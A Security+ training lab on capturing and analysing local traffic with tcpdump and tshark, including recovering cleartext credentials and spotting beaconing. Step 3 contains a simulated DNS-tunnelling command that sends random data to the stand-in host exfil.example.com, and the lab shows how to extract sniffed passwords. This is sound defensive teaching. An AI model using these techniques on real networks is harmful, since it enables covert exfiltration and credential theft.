Lab 43 — Packet Capture and Traffic Analysis with tcpdump and tshark

> **SY0-701 Objective 4.9** — Given a scenario, use data sources to support an investigation.
>
> **Domain 4** — Security Operations (28%) · **Time:** ~15 min · **Course:** TGS-2023039181 CompTIA Security+ (SY0-701)

Goal: capture generated HTTP and DNS traffic, filter it, follow a TCP stream, find the cleartext credentials and summarise the capture like a NetFlow collector.

You'll build: a saved PCAP of local web, DNS and beaconing traffic, a list of exposed credentials, a reconstructed HTTP conversation and a flow summary (source, destination, port, packets, bytes).

Prerequisites: Killercoda Ubuntu Playground (root shell) — https://killercoda.com/playgrounds/scenario/ubuntu ; Lab 25 (TLS) is a useful contrast; tools installed in step 1.

Background

- A **packet capture** (PCAP) records full packet contents, so it is the most detailed network data source: it shows payloads, credentials and files. It is also the largest, so captures are usually short and targeted.
- **Flow data** (NetFlow, IPFIX, sFlow) records only metadata about each conversation: who talked to whom, on which port, when, and how many packets and bytes. It is cheap to keep for months and ideal for spotting beaconing and exfiltration volumes.
- **Capture filters** (BPF syntax, for example `port 53`) decide what is recorded; **display filters** (Wireshark syntax, for example `http.request`) decide what you look at afterwards.
- Cleartext protocols (HTTP, FTP, Telnet, basic authentication) expose credentials to anyone who can capture traffic. This is why the exam pairs packet capture with "use secure protocols".

> Legal note: capture only traffic you own or are authorised to monitor. Intercepting other people's communications without authority can breach Singapore's Computer Misuse Act and privacy law. This lab captures only traffic you generate inside your playground.

Steps

1. Install the tools

`tcpdump` captures, `tshark` (the command-line Wireshark) dissects, and `dnsutils` provides `dig` for generating DNS queries.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark
dnsutils curl python3
```

```
mkdir -p /root/pcap
```

2. Start a local web service and a capture

Start a web server on 127.0.0.1:8080, then start tcpdump in the background with a capture filter that records only web and DNS traffic. `-U` writes each packet immediately.

```
mkdir -p /root/www && echo "<h1>intranet</h1>" > /root/www/index.html
nohup python3 -m http.server 8080 --bind 127.0.0.1 --directory /root/www >/dev/null 2>&1 &
sleep 1
nohup tcpdump -i any -U -s 0 -w /root/pcap/lab43.pcap 'tcp port 8080 or port 53'
>/root/pcap/tcpdump.log 2>&1 &
sleep 2; cat /root/pcap/tcpdump.log
```

```
tcpdump: data link type LINUX_SLL2
tcpdump: listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144
bytes
```

3. Generate HTTP, DNS and beaconing traffic

Simulate a user logging in with HTTP basic authentication, a form login posted over plain HTTP, some DNS lookups (including a long, random-looking name typical of DNS tunnelling) and a host that "beacons" to the same URL at a fixed interval.

```
curl -s -u alice:Summer2026 http://127.0.0.1:8080/ >/dev/null
curl -s -d 'username=bob&password=Winter2026' http://127.0.0.1:8080/login >/dev/null
dig +short example.com; dig +short www.wikipedia.org
dig +short "$(head -c 24 /dev/urandom | base32 | tr -d '=' | tr 'A-Z' 'a-
z').exfil.example.com" || true
for i in 1 2 3 4 5; do curl -s "http://127.0.0.1:8080/?id=host42&seq=$i" >/dev/null; sleep
2; done
```

4. Stop the capture and summarise it

Stop tcpdump cleanly so the file is complete, then look at the capture as a whole: packet count, duration and the protocol hierarchy.

```
pkill -INT tcpdump; sleep 1
tcpdump -r /root/pcap/lab43.pcap -nn 2>/dev/null | wc -l
capinfos /root/pcap/lab43.pcap | grep -E 'Number of packets|Capture duration|File size'
tshark -r /root/pcap/lab43.pcap -q -z io,phs 2>/dev/null
```

5. Apply display filters

Display filters narrow the view without changing the file. List every HTTP request, every DNS query name and only the packets for port 8080.

```
tshark -r /root/pcap/lab43.pcap -Y 'http.request' -T fields -e frame.time_relative -e
ip.src -e http.request.method -e http.request.uri 2>/dev/null
tshark -r /root/pcap/lab43.pcap -Y 'dns.flags.response == 0' -T fields -e dns.qry.name
2>/dev/null | sort -u
```

```
tshark -r /root/pcap/lab43.pcap -Y 'tcp.port == 8080 && tcp.flags.syn == 1 &&
tcp.flags.ack == 0' 2>/dev/null | wc -l
```

6. Follow a TCP stream

Following a stream reassembles the whole conversation in order, exactly as Wireshark's "Follow TCP Stream" does. Stream 0 is the first web connection, the basic-auth login.

```
tshark -r /root/pcap/lab43.pcap -q -z follow,tcp,ascii,0 2>/dev/null | sed -n '1,25p'
```

```
GET / HTTP/1.1
Host: 127.0.0.1:8080
Authorization: Basic YWxpY2U6U3VtbWVyMjAyNg==
User-Agent: curl/...
```

7. Spot cleartext credentials

Base64 is an encoding, not encryption, so the basic-auth header gives up the password instantly. The form login is even easier to read.

```
tshark -r /root/pcap/lab43.pcap -Y 'http.authorization' -T fields -e ip.src -e
http.authorization -e http.authbasic 2>/dev/null
echo 'YWxpY2U6U3VtbWVyMjAyNg==' | base64 -d; echo
tshark -r /root/pcap/lab43.pcap -Y 'http.request.method == "POST"' -T fields -e
http.request.uri -e urlencoded-form.key -e urlencoded-form.value 2>/dev/null
```

```
127.0.0.1   Basic YWxpY2U6U3VtbWVyMjAyNg==  alice:Summer2026
alice:Summer2026
/login  username,password   bob,Winter2026
```

8. Build a NetFlow-style summary

Flow records keep only metadata. Use tshark's conversation table, then build your own flow summary with awk: source, destination and port, with packet and byte counts per flow.

```
tshark -r /root/pcap/lab43.pcap -q -z conv,tcp 2>/dev/null | head -15
tshark -r /root/pcap/lab43.pcap -T fields -E separator=, -e ip.src -e ip.dst -e
tcp.dstport -e udp.dstport -e frame.len 2>/dev/null \
  | awk -F, '{k=$1" -> "$2":"$3$4; p[k]++; b[k]+=$5} END {for (k in p) printf "%-40s
pkts=%-4d bytes=%d\n", k, p[k], b[k]}' | sort
```

9. Hunt for beaconing and DNS tunnelling indicators

Beacons repeat at regular intervals with similar sizes; tunnelling uses long, high-entropy query names. Both stand out in metadata alone.

```
tshark -r /root/pcap/lab43.pcap -Y 'http.request.uri contains "id=host42"' -T fields -e
frame.time_relative 2>/dev/null \
  | awk 'NR>1 {printf "interval %.1f s\n", $1-prev} {prev=$1}'
tshark -r /root/pcap/lab43.pcap -Y 'dns.flags.response == 0' -T fields -e dns.qry.name
2>/dev/null \
```

```
  | sort -u | awk '{n=split($1,l,"."); printf "%-4d %s\n", length(l[1]), $1}' | sort -nr |
head -3
```

```
interval 2.0 s
interval 2.0 s
...
39   x7k2...q.exfil.example.com
```

Test it

```
test -s /root/pcap/lab43.pcap && echo "PCAP saved"
tshark -r /root/pcap/lab43.pcap -Y 'http.request' 2>/dev/null | wc -l
tshark -r /root/pcap/lab43.pcap -Y 'http.authbasic' -T fields -e http.authbasic
2>/dev/null
```

Expected: `PCAP saved`, at least 7 HTTP requests (two logins plus five beacons), and `alice:Summer2026` recovered from the capture.

Troubleshooting

Symptom	Fix
The PCAP has 0 packets or tshark says "appears to have been cut short"	tcpdump was not running when the traffic was generated, or it was killed with `-9`. Repeat steps 2 to 4 and stop it with `pkill -INT tcpdump`.
No DNS packets in the capture	The resolver may use a cached answer or DNS over another port. Query a public resolver directly: `dig @1.1.1.1 example.com`.
`tshark` prints "Running as user root ... could be dangerous"	This is only a warning; the `2>/dev/null` in the commands hides it. Capture as root, analyse as an unprivileged user in production.

Challenge

Repeat the basic-auth login over HTTPS: run `openssl req -x509 -newkey rsa:2048 -nodes -keyout k.pem -out c.pem -subj /CN=localhost -days 1` and `openssl s_server -accept 8443 -cert c.pem -key k.pem -www`, capture port 8443, and show that `tshark -Y http.authorization` now finds nothing. Which fields can you still see (hint: `tls.handshake.extensions_server_name`)?

Reflection

Your SIEM alert says "host42 contacts the same URL every 2 seconds". Would you investigate first with flow data or a full packet capture, and what would each one tell you?

Exam tips

- Packet capture = full content (payloads, credentials); NetFlow/IPFIX = metadata only (who, when, how much). Choose flow data for long-term trends and PCAP for proving what was sent.
- Capture filter (BPF, set before recording) versus display filter (applied when reading) is a common confusion.
- Regular, fixed-interval connections suggest C2 beaconing; very long random subdomains suggest DNS tunnelling or exfiltration.

- Basic authentication and HTTP forms are cleartext; the fix is TLS, not encoding.

References

- tcpdump and libpcap documentation — https://www.tcpdump.org/manpages/tcpdump.1.html
- Wireshark display filter reference — https://www.wireshark.org/docs/dfref/
- MITRE ATT&CK T1071 Application Layer Protocol (C2) — https://attack.mitre.org/techniques/T1071/
- MITRE ATT&CK T1048 Exfiltration Over Alternative Protocol — https://attack.mitre.org/techniques/T1048/
- Browser-based PCAP Analyzer (course tool) — https://alfredang.github.io/pcapanalyzer/
